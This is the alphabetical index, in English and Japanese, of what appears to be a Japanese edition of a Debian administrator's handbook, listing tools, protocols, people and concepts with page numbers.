Fully Automatic Installer (FAI), 339

FusionForge, 17, 368
fwbuilder, 383

Garbee, Bdale, 12
gdm, 357
gdm3, 196
Gecko, 365
GECOS, 157
getent, 159
getty, 191
gid, 157
Git, 19
git, 19
Glade, 367
GNOME, 359
gnome, 359
GNOME Office, 369
gnome-control-center, 201
gnome-packagekit, 128
gnome-system-monitor, 385
GnomeMeeting, 372
GNU, 2
    Info, 138
    is Not Unix, 2
    一般公衆利用許諾書, 7
GNU/Linux, 33
gnugk, 372
Gnumeric, 369
gogo6, 238
Google+, 21
GPL, 7
GPS, 170
GPT
    パーティションテーブルフォーマット, 163
greylisting, 262
GRE、プロトコル, 230
Grml, 446
group, 159
groupmod, 159
GRUB, 67, 166
grub-install, 166
GRUB 2, 166
gsettings, 360
GTK+, 359
guessnet, 154
gui-apt-key, 124
gzip, 102

H323, 372
Hamm, 9
HELO, 259
hg, 19
Hocevar, Sam, 12
host, 240
hostname, 154
hosts, 155
HOWTO, 140
htpasswd, 272
HTTP
    secure, 269
    サーバ, 267
HTTP/FTP プロキシ, 282
HTTPS, 269

i ノード, 210
i18n, 14
i386, 44
Ian Murdock, 2
ICE, 293
Icedove, 366
Iceweasel, 366
Icewm, 358
Icinga, 346
ICMP, 379
id, 158
IDE, 454
Identi.ca, 21
IDS, 389
IEEE 1394, 214, 454
IKE, 230
in-addr.arpa, 240
Includes、Apache 指示文, 271
Indexes、Apache 指示文, 271
inetd, 204
info, 138
info2www, 138
init, 152, 183, 459
Internet Control Message Protocol, 379

Internet Printing Protocol, 161
Internet Software Consortium, 240
invoke-rc.d, 190
IP アドレス, 149
　　プライベート, 223
ip6.arpa, 240
ip6tables, 238, 378, 380
IPC, 460
IPP, 161
iproute, 235
IPsec, 230
　　IPsec Key Exchange, 230
iptables, 378, 380
iputils-ping, 237
iputils-tracepath, 237
IPv6, 237
IPv6 ファイアウォール, 238
IRC, 372
IS-IS, 236
ISC, 240
isisd, 236
ISO-8859-1, 146
ISO-8859-15, 146
ISP、インターネットサービスプロバイダ, 253

Jabber, 296
Jackson, Ian, 12
Jessie, 9
Jitsi, 371
JSCommunicator, 297
jxplorer, 286

Kali, 446
KDE, 359
KDevelop, 367
kdm, 196, 357
kernel-package, 174
keyboard-configuration, 147
kFreeBSD, 34
KMail, 363
kmod, 188
Knoppix, 445
Kolab, 367
Konqueror, 365
krdc, 196
krfb, 196
Kubuntu, 444
KVM, 323, 334
kwin, 358

l10n, 14
Lamb, Chris, 12
LANG, 147
Latin 1, 146
Latin 9, 146
LDAP, 283
　　安全な LDAP, 288
ldapvi, 289
LDIF, 284
LDP, 140
Lenny, 9
libapache-mod-security, 411
libapache2-mpm-itk, 268
libnss-ldap, 286
libpam-ldap, 288
Libre Office, 369
libvirt, 334
lightdm, 196
lighttpd, 267
LILO, 165
Linphone, 371
lintian, 432
Linux, 33
　　カーネル, XIX
　　ディストリビューション, XIX
Linux Documentation Project, 140
Linux Loader, 165
Linux Mint, 444
Linux Security Modules, 390
Linux カーネルソース, 174
Linux ディストリビューション
　　役割, 22
linux32, 51
lire, 142
listmaster, 18
live-build, 445
ln, 168
locale-gen, 146

locate, 173
logcheck, 142, 384
login, 157
logrotate, 170
lpd, 162
lpq, 162
lpr, 162
lsdev, 456
lspci, 456
lspcmcia, 456
lsusb, 456
LUKS, 64
Lumicall, 371
LVM, 312
　インストール中に行う LVM の設定, 63
LXC, 323, 329
LXDE, 362
lzma, 102

MAIL FROM, 259
main, 444
main、セクション, 103
make deb-pkg, 176
Makefile, 428
man, 136
man2html, 138
MBR, 162
McIntyre, Steve, 12
MCS (Multi-Category Security), 399
MD5, 386
md5sums, 84
mdadm, 305
mentors.debian.net, 107
menu, 359
mercurial, 19
metacity, 358
Michlmayr, Martin, 12
Microsoft
　Excel, 369
　Point-to-Point Encryption, 232
　Word, 369
migrationtools, 285
mini-dinstall, 430
mini.iso, 49
mkfs, 458
mknod, 160
mlocate, 173
mod-security, 411
modprobe, 188
module-assistant, 178
mount, 171
mount.cifs, 281
Mozilla, 366
　Firefox, 365, 366
　Thunderbird, 365
MPPE, 232
mrtg, 386
multiverse, 444
MultiViews、Apache 指示文, 271
Munin, 346
Murdock, Ian, 2, 12
mutter, 358
MX
　DNS レコード, 239
　サーバ, 253

Nagios, 348
Name Service Switch, 158
named.conf, 240
nameserver, 155
NAT, 223
NAT Traversal, 230
NAT-T, 230
netfilter, 378
Netscape, 366
netstat, 244
Network
　File System, 276
　Time Protocol, 169
network-manager, 150, 153
network-manager-openvpn-gnome, 229
newgrp, 158
NEWS.Debian.gz, 11, 139
NFS, 276
　オプション, 277
　クライアント, 278
　セキュリティ, 276
nginx, 267

NIDS, 389
nmap, 41, 246
nmbd, 279
non-free, 6
non-free、セクション, 103
NSS, 155, 158
NS、DNS レコード, 240
NTP, 169
　　サーバ, 170
ntp, 170
ntpdate, 170
Nussbaum, Lucas, 12
nVidia, 357

Openbox, 358
OpenLDAP, 283
OpenOffice.org, 369
OpenSSH, 192
OpenSSL
　　鍵作成, 288
OpenVPN, 224
Options、Apache 指示文, 271
Order、Apache 指示文, 273
orig.tar.gz ファイル, 86
OSPF, 236
ospf6d, 236
ospfd, 236

Packages.xz, 102
packagesearch, 132
PAE, 51
PAM, 147
pam_env.so, 147
PAP, 151
passwd, 157, 158
patch, 15
pbuilder, 424
PCMCIA, 214
Perens, Bruce, 8, 12
Perfect Forward Secrecy, 269
Perl, 81
Philosophy & Procedures, 435
PHPGroupware, 367
PICS, 283
pid, 458
Pin, 115
Pin-Priority, 115
pinfo, 138
ping, 379
pinning、APT pinning, 114
piuparts, 433
Pixar, 9
PKI (公開鍵基盤), 224
Planet Debian, 21
poff, 151
Point-to-Point Tunneling Protocol, 230
pon, 151
popularity-contest, 362
portmapper, 276
Postfix, 252
postinst, 82
postrm, 82
Potato, 9
PPP, 151, 229
pppconfig, 151
PPPOE, 152
pppoeconf, 152
PPTP, 153, 230
pptp-linux, 230
Pre-Depends ヘッダフィールド, 78
preferences, 114
preinst, 82
prelude, 390
prerm, 82
preseed, 341
printcap, 162
proc, 154
procmail, 254
Progeny, 2
proposed-updates, 105
Prosody, 296
Provides、ヘッダフィールド, 79
Psi, 371
PTR、DNS レコード, 239
PTS, 18

QEMU, 323
QoS, 234

Qt, 359
　　Designer, 367
quagga, 236
QWERTY, 147

racoon, 230
radvd, 239
RAID, 302
　　ソフトウェア RAID, 63
Raspberry Pi, 447
Raspbian, 447
RBL, 258
RCPT TO, 260
rcS, 188
rcS.d, 188
RDP, 370
README.Debian, 11, 139
Recommends、ヘッダフィールド, 78
Red Hat パッケージマネージャ, 97
Release.gpg, 123
Remote Black List, 258
Remote Desktop Protocol, 370
Remote Procedure Call, 276
Replaces、ヘッダフィールド, 81
reportbug, 15
repro, 294
Request For Comments, 77
Require、Apache 指示文, 272
resolv.conf, 155
restricted, 444
Rex, 9
RFC, 77
Ring (ソフトフォン), 371
RIP, 236
ripd, 236
ripngd, 236
RJ45 コネクタ, 149
RMS, 2
Robinson, Branden, 12
root, 170
route, 236
RPC, 276
RPM, 97
RSA (アルゴリズム), 224
rsh, 191
rsync, 211
rsyslogd, 201
RTC
　　サーバ, 292
RTFM, 136

safe-upgrade, 70
Samba, 40, 278
Sarge, 9
SATA, 214
scp, 192
SCSI, 454
Secure Shell, 191
security.debian.org, 104
SELinux, 397
semanage, 401
semodule, 401
Server Name Indication, 269
setarch, 51
setgid ディレクトリ, 198
setgid、権限, 197
setkey, 230
setquota, 209
setuid、権限, 197
Setup, 455
SFLphone, 371
sftp, 192
sg, 158
SHA1, 386
shadow, 157
Sid, 9
Siduction, 445
Sidux, 445
Simple Mail Transfer Protocol, 252
Simple Network Management Protocol, 385
simple-cdd, 343
SIP, 292, 371
　　PBX, 293
　　WebSockets, 297
　　サーバ, 293
　　トランク, 293
　　プロキシ, 293
　　ユーザエージェント, 371

slapd, 284
Slink, 9
SMB, 278
smbclient, 280
smbd, 279
SMTP, 252
snapshot.debian.org, 108
SNAT, 223
SNMP, 385
snort, 389
Software in the Public Interest, 4
Source NAT, 223
SourceForge, 368
sources.list, 102
Sources.xz, 102
spamass-milter, 265
SPI, 4
SQL インジェクション, 410
Squeeze, 9
Squid, 66, 282
squidGuard, 283
SSD, 320
SSH, 191, 229
SSH トンネル, 「VPN」参照, 194
　　VNC, 196
SSL, 224
stable-backports, 105
stable-proposed-updates, 105
stable-updates, 105
Stallman, Richard, 2
StarOffice, 369
Stretch, 9
strongswan, 230
subversion, 19
sudo, 170
sudoers, 171
suexec, 268
Suggests、ヘッダフィールド, 78
suricata, 389
svn, 19
SymlinksIfOwnerMatch、Apache 指示文, 271
synaptic, 119
sys, 154
syslogd, 141
systemd, 152

Tails, 446
Tanglu, 446
TAR, 214
Tasks & Skills, 436
tc, 235
TCO, 34
tcpd, 205
tcpdump, 247
TCP、ポート, 222
Telepathy, 371
telnet, 191
The Sleuth Kit, 417
Thunderbird、Mozilla, 365
timezone, 168
TLS, 224, 251
top, 385
ToS, 236
Towns, Anthony, 12
tsclient, 196
tshark, 248
TURN
　　サーバ, 293
Twitter, 21
Type Enforcement, 408
Type of Service, 236
TZ, 168

Ubuntu, 443
ucf, 201
UDP、ポート, 222
UEFI, 454, 455
uid, 157
umask, 199
unattended-upgrades, 128
Unicode, 146
universe, 444
update-alternatives, 358
update-menus, 359
update-rc.d, 190
update-squidguard, 283
updatedb, 173

USB, 214, 454
USB メモリ, 49
uscan, 433
UTF-8, 146

Venema, Wietse, 205
VESA, 357
vinagre, 196
vino, 196
virsh, 337
virt-install, 334, 335
virt-manager, 334
virtinst, 334
Virtual Network Computing, 195
VirtualBox, 323
visudo, 171
vmlinuz, 179
VMWare, 323
VNC, 195
vnc4server, 197
VoIP
　　サーバ, 292
VPN, 224
vsftpd, 275

warnquota, 210
webalizer, 142
WebKit, 365
webmin, 200
WebRTC, 297
　　デモ, 297
whatis, 137
Wheezy, 9
Wietse Venema, 205
wiki.debian.org, 140
Winbind, 279
WindowMaker, 358
Windows Terminal Server, 370
Windows のエミュレート, 369
Windows ドメイン, 279
Windows 共有, 278
Windows 共有、マウント, 281
Windows、エミュレーション, 369
Wine, 370
winecfg, 370
WINS, 279
wireshark, 247
wondershaper, 235
Woody, 9
Word、Microsoft, 369
www-browser, 358
www-data, 268

x-window-manager, 358
x-www-browser, 358
X.509, 251
X.509、証明書, 224
X.org, 356
X11, 356
x11vnc, 196
xdelta, 213
xdm, 196, 357
xe, 327
Xen, 323
Xfce, 361
XFree86, 356
xm, 327
XMPP, 292, 371
　　サーバ, 295
xserver-xorg, 356
xvnc4viewer, 196
xz, 102

yaboot, 166
ybin, 166

Zabbix, 345
Zacchiroli, Stefano, 12
zebra, 236
Zeroconf, 40
zoneinfo, 168
zsh, 160

ののしり合戦, 12
アカウント
　　作成, 159
　　失効, 158
　　管理者アカウント, 55, 170
アカウントの失効, 158

アップグレード
　システムのアップグレード, 111
　自動的なシステムアップグレード, 129
アドレス、IP アドレス, 149
アーキテクチャ, 3, 44
　マルチアーキテクチャサポート, 95
インスタントメッセージ
　サーバ, 292
インストーラ, 48
インストール
　netboot インストール, 50
　PXE インストール, 50
　TFTP インストール, 50
　カーネルのインストール, 179
　パッケージのインストール, 89, 109
　自動インストール, 339
インストール作業
　システムのインストール作業, 48
インターネットリレーチャット, 372
インターフェース
　グラフィカル, 356
　ネットワークインターフェース, 150
　管理インターフェース, 199
イーサネット, 149, 150
ウィンドウマネージャ, 358
ウェブアクセス制限, 272
ウェブサーバ, 267
ウェブブラウザ, 365
ウェブログの解析ソフトウェア, 273
ウェブログ解析ソフトウェア, 273
ウェブ認証, 272
エイリアス
　仮想エイリアスドメイン, 255
エンコーディング, 146
オフィススイート, 368
オープンソース, 8
カーネル
　インストール, 179
　コンパイル, 173
　ソース, 174
　パッチ, 178
　外部モジュール, 177
　設定, 175
カーネルのパッチ, 178
カーネル空間, 459
キャッシュ、プロキシ, 66, 108
キャラクタ、モード, 160
キー
　Compose, 147
　メタ, 147
キーボードレイアウト, 54, 147
クォータ, 159, 209
クライアント
　NFS, 278
　クライアント/サーバアーキテクチャ, 191
クロスケーブル, 153
グラフィカルデスクトップ, 359
　リモート, 195
グループ, 157
　データベース, 156
　ボリュームのグループ, 63
　ユーザの追加, 159
　作成, 159
　削除, 159
　変更, 158
　所有者, 197
グループにユーザを追加する, 159
グループの削除, 159
グループウェア, 367
ゲートウェイ, 222
コネクタ、RJ45, 149
コピー、バックアップコピー, 211
コピーレフト, 8
コマンドのスケジューリング, 205
コマンドインタプリタ, 160
コマンドラインインタプリタ, 136
コマンドラインインターフェース, 160
コンテキスト、セキュリティコンテキスト, 399
コントロールサム, 386
コンパイラ, 3
コンパイル, 3
　カーネルのコンパイル, 173
コードネーム, 9
サブネット, 149
サブプロジェクト, 3, 16
サポート

長期サポート (LTS), 29
サーバ
HTTP, 267
MX, 253
NTP, 170
SMTP, 252
X, 356
ウェブ, 267
クライアント/サーバアーキテクチャ, 191
ネームサーバ, 239
ファイル, 276, 278
サービス
再起動, 190
品質, 234
サービスの再起動, 190
サービスの品質, 234
サービス妨害, 389
シェル, 136, 160
システム
バグ追跡システム, 14
パッケージ追跡システム, 18
ファイルシステム, 60
基本システム, 65
システム、ファイルシステム, 457
シリアル ATA, 454
シンボリックリンク, 168
スイート、オフィス, 368
スケジュールされたコマンド, 205
スティッキービット, 198
スパム, 257
スペシャル、ファイル, 160
スワップ, 62
スワップパーティション, 62
スーパーサーバ, 204
セキュアブート, 455
セキュリティコンテキスト, 399
セキュリティ更新, 104
セクション
contrib, 103
main, 103
non-free, 6, 103
ソフトウェア RAID, 63
ソーシャルネットワーク, 21
ソース
Linux カーネルのソース, 174
コード, 3
パッケージ, XXI, 86
パッケージのソース, 102
ゾーン
DNS, 239
逆引き, 240
タイムゾーン, 168
タグ, 132
ダンプ, 213
チェイン, 378
チェックサム, 84
チャット
サーバ, 292
チルダ記号, 161
テスト版, 23
テープ、バックアップ, 214
ディストリビューション
Linux ディストリビューション, XIX
コミュニティ Linux ディストリビューション, 35
商用 Linux ディストリビューション, 35
商用ディストリビューション, XIX
ディスプレイマネージャ, 196
ディレクトリ、LDAP, 283
デスクトップ、リモートグラフィカルデスクトップ, 195
デバイス
アクセスパーミッション, 160
マルチディスクデバイス, 63
デュアルブート, 51, 67
データベース
グループのデータベース, 156
ユーザのデータベース, 156
開発者データベース, 9
デーモン, 142, 460
トイストーリー, 9
トラッカー
Debian パッケージトラッカー, 18
トラフィック
制御, 235
制限, 235

トラフィックの制御, 235
トラフィックの制限, 235
トンネル (SSH), 「VPN」参照, 194
ドメイン
　仮想, 255
　名, 155
ドメインコントローラ, 279
ドメインネームサービス, 155
ニブルフォーマット, 240
ネチケット, 143
ネットワーク
　DHCP 設定, 242
　IDS, 389
　アドレス, 149
　アドレス変換, 223
　ゲートウェイ, 222
　ソーシャルネットワーク, 21
　ローミング設定, 153
　仮想プライベート, 224
　設定, 150
ハードドライブ、名前, 163
ハードリンク, 211
バイナリコード, 3
バグ
　バグ報告, 15
　重要度, 14
バグ報告, 15, 143
バグ追跡システム, 14
バックアップ, 210
　コピー, 211
　テープへの, 214
バックドア, 416
バックポート, 105, 422
バッファ
　受信バッファ, 379
バージョン、比較, 94
バージョンの比較, 94
バージョン管理システム (VCS), 19
パイプ, 460
パイプ、名前付きパイプ, 203
パケット
　IP パケット, 222, 377
パケットフィルタ, 377
パスワード, 158
パッケージ
　Debian
　　アーカイブ, 429
　Debian パッケージ, XXI
　Debian パッケージトラッカー, 18
　インストール, 89, 109
　ソースパッケージ, XXI, 86
　バイナリパッケージ, XXI, 74
　パッケージのソース, 102
　ファイルリスト, 91
　メタ情報, 76
　メンテナンス, 10
　両立不可能, 79
　人気度, 362
　仮想パッケージ, 79, 80
　依存関係, 77
　信頼性確認, 123
　優先度, 114
　内容の調査, 91
　削除, 91, 109
　完全削除, 91
　封印, 123
　展開, 90
　検索, 118
　状態, 91
　種類, 426
　置換, 81
　署名, 123
　衝突, 78
パッケージのメタ情報, 76
パッケージの人気度, 362
パッケージの削除, 91, 109
パッケージの完全削除, 83, 91
パッケージの支援, 436
パッケージの検索, 118
パッケージの種類, 426
パッケージアーカイブ, 429
パッケージ追跡システム, 18
パッチ, 15
パラレル ATA, 454
パーティショニング, 57
　ガイド付きパーティショニング, 59

手作業のパーティショニング, 61
パーティション
スワップパーティション, 62
セカンダリ, 163
プライマリ, 163
拡張, 163
暗号化されたパーティション, 64
パーティションの暗号化, 64
パーティションの縮小, 62
パーティションサイズの変更, 62
パーティションテーブル
GPT フォーマット, 163
MS-DOS フォーマット, 163
パーミッション, 197
ビデオカード, 357
ビデオ会議, 372
ビルドデーモン, 24
ファイアウォール, 377
IPv6, 238
ファイル
サーバ, 276
システム, 60
スペシャルファイル, 160
ログ, 141
ログ、循環, 170
ログファイル, 201
機密性, 64
設定ファイル, 84
ファイルシステム, 457
ネットワーク, 276
ファイルシステム階層, 452
フィルタリングルール, 378, 381
フォレンジック, 446
フォーク, 192, 459
フリー
ソフトウェア, 6
フリーズ, 26
フリーソフトウェアディレクトリ, 140
フリーソフトウェア基準, 6
ブラウザ、ウェブ, 365
ブリッジ, 150
ブロック (ディスク), 210
ブロック、モード, 160
ブロードキャスト, 150
ブート
ローダ, 51
ブートローダ, 51, 67, 162
プライベート IP アドレス, 223
プロキシ, 66
プロキシキャッシュ, 66, 108, 282
プログラム
設定, 141
プロジェクト内部の作業, 9
プロジェクト内部の組織, 9
プロジェクト秘書, 12
プロセス, 183
プロセス間通信, 460
プロセッサ, 3
プロトコル
AH, 230
ESP, 230
GRE, 230
ペネトレーションテスト, 446
ホットプラグ, 214
ボリューム
グループ, 63
物理ボリューム, 63
論理ボリューム, 63
ポイント、マウント, 171
ポイント、マウントポイント, 62
ポリシー, 10
ポート
TCP, 222
UDP, 222
ポート転送, 194, 223
マイクロブログ, 21
マウントポイント, 62, 171
マスカレード, 222
マスク
サブネットマスク, 149
権限マスク, 199
マスターブートレコード, 162
マスターブートレコード (MBR), 454
マニュアルページ, 136
マネージャ
ウィンドウ, 358

ディスプレイ, 357
ディスプレイマネージャ, 196
マルチアーキテクチャ, 95
メタ、キー, 147
メタディストリビューション, 2
メタパッケージ, 78, 79
メンテナ
新メンテナ, 13
メンテナンス
パッケージメンテナンス, 10
メーリングリスト, 18, 142
メールサーバ, 252
メールボックス、仮想ドメイン, 256
モジュール
カーネルモジュール, 188
外部カーネルモジュール, 177
モデム
ADSL, 151
PSTN, 151
モード
キャラクタモード, 160
ブロックモード, 160
ユーザ
データベース, 156
所有者, 197
ユーザエージェント (SIP), 371
ユーザ空間, 459
ライセンス
artistic, 7
BSD, 7
GPL, 7
ライフサイクル, 23
ライブ CD, 445
ランレベル, 189
リスト
メーリングリスト, 18
リモートグラフィカルデスクトップ, 195
リモートログイン, 191
リリース, 23
リリースマネージャ, 25
リンク
シンボリック, 168
ハードリンク, 211
リーダー
役割, 11
選挙, 11
ルータ, 150, 222
ルーティング
上級ルーティング, 235
動的, 236
レイアウト、キーボード, 54, 147
レコード
DNS, 240
レベル、ランレベル, 189
ログ
ウェブログ解析ソフトウェア, 273
ファイル, 141
ファイル、循環, 170
監視, 384
転送, 203
配送, 201
ログイン
リモートログイン, 191
ログファイルの循環, 170
ロケール, 146, 147
ローダ
ブートローダ, 51, 67, 162

一般公衆利用許諾書, 7
一般決議, 12
上流, 5
上流開発者, 5
不安定版, 23
不適合性, 79
世界分布, 10
事前設定, 341
代替コマンド, 358
仮想ドメイン, 255
仮想エイリアスドメイン, 255
仮想メールボックスドメイン, 256
仮想パッケージ, 79
仮想プライベートネットワーク, 224
仮想ホスト, 269
仮想メモリ, 62
仮想化, 322
作成
グループの作成, 159

ユーザアカウントの作成, 159
例、インストール先, 141
依存, 77
侵入検知, 389
侵入検知システム, 389
保証
品質保証, 18
信頼された鍵, 124
信頼性
パッケージ信頼性, 123

優先度
パッケージ優先度, 114
先行依存, 78
公開鍵基盤, 224
共同作業, 367
再インストール, 110
初期化スクリプト, 190
前旧安定版, 23
印刷
ネットワーク, 281
設定, 161
受信バッファ, 379
名
ドメイン名, 155
名前
コードネーム, 9
ハードドライブの名前, 163
特定と解決, 154
解決, 155
名前付きパイプ, 203
名前割り当て, 154
品質
サービスの品質, 234
保証, 18
団体, 2, 4
国際化, 14
地域化, 14
基本文書, 5
基本計画, 32
変数、環境, 161
変更、権限, 197
夏時間, 168
契約、社会, 5
安定版, 23
安定版リリースマネージャ, 25
安定版更新, 105
実行、権限, 197
実験版, 23, 107, 115
展開
ソースパッケージの, 88
バイナリパッケージ, 90
展開、ソースパッケージ, 88
強制、Type Enforcement, 408
強制アクセス制御, 390
復元, 210

憲章, 11
所有者
グループ, 197
ユーザ, 197
技術委員会, 12
投票, 12
指示文、Apache, 271, 272
指紋, 386
接続
ADSL モデムによる接続, 151
PSTN モデムを使った接続, 151
擬似パッケージ, 17
文字セット, 146
文書, 136, 139
場所, 11
文書の場所, 11
日本語化, 146
旧安定版, 23
時刻同期, 169
時計
同期, 169
更新
セキュリティ更新, 104
安定版バックポート, 105
安定版更新, 105
書き込み、権限, 197
検知、侵入, 389
業績主義, 13
構成管理, 19
標準的なやり方, 140
権限, 197

8 進数表記, 198
マスク, 199
権限の 8 進数表記, 198
機密
ファイル, 64
活動、履歴, 385
活動、監視, 385
派生ディストリビューション, 16

物理アドレス拡張, 51
環境, 147
環境変数, 161
異機種環境, 40
白熱した議論, 12
監視, 384
ログファイル, 384
活動, 385
破壊された依存性, 90
社会契約, 5
移行, 32, 41
管理、インターフェース, 199
管理、電源管理, 218
総保有コスト, 34
置換, 81
署名
パッケージ署名, 123

自動アップグレード, 129
自動ビルドロボット, 24
自動マウントユーティリティ, 173
自動補完, 161
著作権, 8
衝突, 78
解像度, 356
解決
名前解決, 155
言語, 146
設定
APT の初期設定, 65
カーネルの設定, 175
ネットワーク
DHCP, 55
静的, 55
ネットワークの設定, 150
ファイル, 84
プログラムの設定, 141
印刷, 161
証明書, 251
X.509, 224
読み込み、権限, 197
論理ボリュームマネージャ, 312
インストール中に行う論理ボリュームマネージャの設定, 63
起動
システムの起動, 182
起動可能な CD-ROM, 445

逆引きゾーン, 240
選択
国の選択, 53
言語の選択, 52
選択肢, 358
配備, 339
重要度, 14
鍵
APT の認証鍵, 124
鍵ペア, 224, 230, 288, 435
長期サポート (LTS), 29
開発者
Debian 開発者, 9
開発者データベース, 9
開発者、上流, 5
関数ライブラリ, 462
電子メール
サーバ, 252
ソフトウェア, 362
フィルタ, 254
内容に基づくフィルタリング, 261
受信者アドレスに基づくフィルタリング, 260
電子メールフィルタ, 254
電源管理, 218